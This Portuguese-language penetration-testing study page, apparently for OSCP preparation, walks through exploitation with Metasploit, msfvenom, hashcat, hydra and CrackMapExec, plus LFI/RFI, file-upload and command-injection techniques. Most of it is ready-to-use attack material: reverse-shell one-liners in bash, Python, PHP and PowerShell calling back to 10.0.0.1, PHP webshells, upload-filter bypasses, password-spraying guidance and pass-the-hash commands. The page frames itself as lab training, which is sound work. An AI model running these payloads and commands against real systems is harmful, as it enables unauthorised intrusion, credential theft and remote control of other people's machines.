// Penetration Testing — Phase Three

Exploração

Com vulnerabilidades identificadas, é hora de explorá-las. Esta fase cobre frameworks de exploração, ataques a credenciais, exploits manuais e a arte de obter e manter um shell no sistema alvo.

METASPLOIT MSFVENOM HASHCAT HYDRA REVERSE SHELL LFI / RFI FILE UPLOAD
O Metasploit é o framework de exploração mais usado no mundo. Centraliza exploits, payloads e módulos de pós-exploração em uma interface unificada. Para o OSCP, você precisa entender como funciona por baixo — mas no dia a dia é uma ferramenta indispensável.
Arquitetura — Entendendo os módulos

Exploit

Código que aproveita uma vulnerabilidade específica para executar um payload no sistema alvo. Cada exploit é para um CVE ou tipo de falha. Você seleciona o exploit, configura o target (RHOSTS) e executa.

Payload

O que é executado no alvo após o exploit ter êxito. Staged: entregue em duas partes (stager + stage) — menor, bypassa filtros. Stageless: tudo em um arquivo — mais robusto. Meterpreter é o payload mais poderoso.

Auxiliary

Módulos que não exploram — fazem scan, enumeração, brute force. Ex: auxiliary/scanner/smb/smb_ms17_010 verifica se o alvo é vulnerável ao EternalBlue antes de tentar explorar.

Fluxo de uso no msfconsole
msfconsole # Buscar exploit para um serviço search eternalblue search type:exploit name:vsftpd # Selecionar e configurar use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.10 set LHOST 192.168.1.5 # seu IP set PAYLOAD windows/x64/meterpreter/reverse_tcp # Ver todas as opções show options # Executar run # ou: exploit # Verificar sessões abertas sessions -l sessions -i 1 # abrir sessão 1
Meterpreter — Pós-exploração integrada
O que é o Meterpreter Meterpreter é um payload avançado que roda inteiramente na memória do alvo — não grava arquivos em disco, dificultando detecção. Oferece comandos de pós-exploração nativos: upload/download de arquivos, screenshot, keylogger, migração de processo, escalada de privilégios e pivot de rede.
Meterpreter

Comandos essenciais

# Informações do sistema sysinfo getuid # usuário atual getpid # processo atual # Navegação pwd / ls / cd download arquivo.txt upload exploit.exe # Shell interativo shell # abre cmd/bash no alvo Ctrl+Z # volta ao meterpreter # Escalada e persistência getsystem # tenta elevar para SYSTEM hashdump # dump de hashes de senha run post/multi/recon/local_exploit_suggester
msfvenom

Gerando payloads customizados

msfvenom cria payloads standalone — executáveis, scripts, shellcode — para quando você não pode usar o Metasploit diretamente. O payload se conecta de volta ao seu listener (multi/handler).

# Payload Windows EXE msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe # Payload Linux ELF msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o shell.elf # PHP webshell msfvenom -p php/meterpreter_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shell.php # Listener para receber a conexão use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 10.0.0.1 run
Credenciais fracas ou reutilizadas são responsáveis por uma parcela enorme de comprometimentos reais. Ataques de senha se dividem em dois tipos: offline (contra hashes capturados) e online (contra serviços ativos). Os dois têm ferramentas e estratégias distintas.
Offline — Quebrando hashes
Hashes vs Senhas Sistemas não armazenam senhas em texto claro — armazenam o hash. Quebrar um hash significa encontrar a senha original que gerou aquele hash. Hashcat testa bilhões de candidatos por segundo usando GPU. John the Ripper é alternativa via CPU.
Offline

Hashcat — Identificar e quebrar

Primeiro identifique o tipo do hash, depois escolha o modo de ataque. Os modos mais usados: dicionário (-a 0), combinação (-a 1), brute force (-a 3), e regras (-a 0 -r).

# Identificar tipo de hash hashid '$2y$10$abc...' bcrypt — modo hashcat: 3200 # Ataque de dicionário (mais comum) hashcat -m 1000 -a 0 hashes.txt rockyou.txt # Com regras (muda variações: senha→Senha1!) hashcat -m 1000 -a 0 -r rules/best64.rule hashes.txt rockyou.txt # Tipos de hash comuns # -m 0 = MD5 # -m 100 = SHA1 # -m 1000 = NTLM (Windows) # -m 1800 = sha512crypt (Linux /etc/shadow) # -m 3200 = bcrypt # -m 22000 = WPA2
Online

Hydra — Brute force em serviços

Ataque online testa credenciais diretamente no serviço. É ruidoso, lento comparado ao offline, e pode travar contas. Use com moderação e só em serviços sem rate limiting no escopo.

# SSH brute force hydra -l admin -P rockyou.txt ssh://192.168.1.10 # HTTP POST form hydra -l admin -P passwords.txt 192.168.1.10 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid" # Lista de usuários + lista de senhas hydra -L users.txt -P passwords.txt ftp://192.168.1.10
Técnica

Password Spraying

Ao contrário do brute force (muitas senhas em um usuário), spraying testa uma senha em muitos usuários. Evita lockout de conta. Muito eficaz em Active Directory com senhas de estação: Empresa2024!, Janeiro@2024.

Em AD: tente "NomeDaEmpresa + Ano + !" antes de qualquer wordlist. Funciona com frequência assustadora.
Windows

CrackMapExec — Validação em rede

Testa credenciais em múltiplos hosts simultaneamente. Identifica qual máquina aceita o usuário/senha, executa comandos remotos, e faz dump de informações via protocolo SMB/WinRM.

# Testar credencial em toda a subnet cme smb 192.168.1.0/24 -u admin -p Senha123 # Executar comando nos hosts que aceitaram cme smb 192.168.1.10 -u admin -p Senha123 -x "whoami" # Pass-the-Hash (sem precisar da senha em texto) cme smb 192.168.1.10 -u admin -H aad3b435b51404eeaad3b435b51404ee:hash_ntlm
Nem todo exploit tem módulo no Metasploit. Saber adaptar PoCs públicos e explorar vulnerabilidades manualmente é o que separa pentesters experientes dos iniciantes — e é exatamente o que o OSCP exige.
SearchSploit & Exploit-DB
Workflow com exploits públicos Você identificou vsftpd 2.3.4 no recon. Agora: (1) searchsploit vsftpd 2.3.4, (2) copia o exploit para seu diretório, (3) lê o código completo, (4) ajusta IPs e portas, (5) executa. Nunca rode exploit de terceiro sem ler o código — pode ser malware.
searchsploit # Buscar exploits localmente searchsploit vsftpd 2.3.4 searchsploit apache 2.4.49 # Copiar exploit para diretório atual searchsploit -m 17491 # Atualizar banco de dados searchsploit -u
Vulnerabilidades de Aplicação Web — Exploração Manual
Web

LFI — Local File Inclusion

Quando uma aplicação inclui arquivos baseada em input do usuário sem sanitização. Permite ler arquivos arbitrários do servidor — senhas, chaves SSH, configurações.

# Payload básico ?page=../../../../etc/passwd # Bypass de extensão forçada (.php) ?page=../../../../etc/passwd%00 # null byte (PHP < 5.3) # Targets valiosos no Linux /etc/passwd # usuários do sistema /etc/shadow # hashes de senha /home/user/.ssh/id_rsa # chave SSH privada /var/log/auth.log # logs de autenticação /proc/self/environ # variáveis de ambiente
LFI + Log Poisoning = RCE. Injete PHP no log via User-Agent, depois inclua o log via LFI.
Web

RFI — Remote File Inclusion

Como LFI mas inclui arquivos de um servidor remoto. Se habilitado, você serve uma webshell PHP e faz o servidor alvo a incluir e executar.

# Servir webshell no seu servidor echo '<?php system($_GET["cmd"]); ?>' > shell.php python3 -m http.server 8000 # Incluir via RFI ?page=http://10.0.0.1:8000/shell.php&cmd=id uid=33(www-data) gid=33(www-data)
Web

File Upload — Upload Malicioso

Funcionalidades de upload que não validam o tipo de arquivo permitem subir webshells. Técnicas de bypass: mudar extensão (.php5, .phtml, .php.jpg), modificar Content-Type, usar double extension.

# Webshell PHP mínima <?php system($_GET['cmd']); ?> # Bypass de validação por extensão shell.php → shell.php5 shell.php → shell.phtml shell.php → shell.php.jpg # Bypass de Content-Type (via Burp) # Mudar: application/x-php → image/jpeg # Usar a webshell após upload https://alvo.com/uploads/shell.php?cmd=id
Após confirmar RCE via webshell, escale para reverse shell interativo imediatamente — webshells são frágeis.
Web

Command Injection

A aplicação passa input do usuário diretamente para um comando do sistema operacional. Caracteres especiais de shell (;, |, &&, backtick) podem injetar comandos adicionais.

# Input original: ip=8.8.8.8 → ping 8.8.8.8 ip=8.8.8.8; id # executa id após ping ip=8.8.8.8 | id # pipe ip=8.8.8.8 && cat /etc/passwd ip=`id` # command substitution ip=$(id) # alternativa moderna
Obter um shell interativo no alvo é o objetivo central da exploração. Existem dois tipos: bind shell (alvo abre porta, você conecta) e reverse shell (alvo se conecta de volta a você). Reverse shell é o padrão — passa pela maioria dos firewalls.
Reverse Shells — Receitas prontas
Como funciona Você abre um listener na sua máquina (nc -lvnp 4444). O alvo executa um comando que se conecta de volta a você abrindo um shell. Como é o alvo iniciando a conexão de saída, firewalls raramente bloqueiam.
reverse shells — cheat sheet # Listener na sua máquina (sempre primeiro) nc -lvnp 4444 ## Bash bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 ## Python 3 python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' ## PHP php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");' ## PowerShell (Windows) powershell -c "$c=New-Object Net.Sockets.TCPClient('10.0.0.1',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$x=([text.encoding]::ASCII).GetBytes($r2);$s.Write($x,0,$x.Length)}" ## Netcat (se -e estiver disponível) nc 10.0.0.1 4444 -e /bin/bash
Upgrading Shell — De dumb shell para TTY interativo
Por que fazer upgrade Uma reverse shell via nc não tem TTY completo: Ctrl+C mata o processo (e sua sessão), não tem tab completion, sudo não funciona. O upgrade transforma esse shell limitado em um terminal interativo completo.
upgrade de shell # Método 1: Python pty (mais comum) python3 -c 'import pty; pty.spawn("/bin/bash")' # Depois: Ctrl+Z → stty raw -echo → fg → Enter × 2 stty raw -echo; fg # Método 2: script (sem Python) script /dev/null -c bash # Ajustar tamanho do terminal # Na sua máquina: stty size → ex: 50 220 stty rows 50 columns 220 # Exportar variáveis para completar o ambiente export TERM=xterm-256color export SHELL=bash
Referências — revshells.com

revshells.com

Site que gera reverse shells para todas as linguagens com seu IP e porta preenchidos automaticamente. Indispensável durante um pentest — copia e cola, sem ter que lembrar sintaxe.

GTFOBins

Referência para binários Unix que podem ser usados para escape de shells restritos, privilege escalation, e execução de payloads. Se sudo -l mostra um binário, consulte o GTFOBins imediatamente.

HackTricks

Wiki completa de pentest. Para cada serviço, vulnerabilidade ou técnica há uma página detalhada com comandos prontos. Bookmark obrigatório — você vai consultar dezenas de vezes por engajamento.

Marque conforme for avançando. O progresso fica salvo no navegador.
Metasploit
Explorei uma máquina no TryHackMe usando Metasploit do início ao fimSearch → use → set options → run → sessão Meterpreter
Gerei um payload com msfvenom e recebi a conexão com multi/handlerWindows EXE ou Linux ELF conectando de volta
Usei comandos do Meterpreter: hashdump, getsystem, download, shell
Password Attacks
Quebrei um hash NTLM com Hashcat usando rockyou.txtIdentificei o tipo, escolhi -m correto, recuperei a senha
Quebrei um hash com regras Hashcat (-r best64.rule)Entendi como regras criam variações da wordlist
Fiz brute force SSH com Hydra em laboratório
Entendo a diferença entre brute force e password sprayingE quando usar cada um para evitar lockout
Exploits Manuais & Shells
Busquei e adaptei um exploit do SearchSploit/GitHubLi o código, ajustei IPs e executei com sucesso
Explorei LFI para ler /etc/passwd em laboratórioTestei path traversal e variações de bypass
Fiz upload de webshell PHP e executei comandos via browser
Obtive uma reverse shell funcional de pelo menos 3 formas diferentesBash, Python, PHP, ou PowerShell
Fiz upgrade de dumb shell para TTY interativo com pty.spawnCtrl+C não mata mais o shell após o upgrade
Completei ao menos 5 máquinas no TryHackMe/HackTheBoxDocumentando cada passo do recon até o root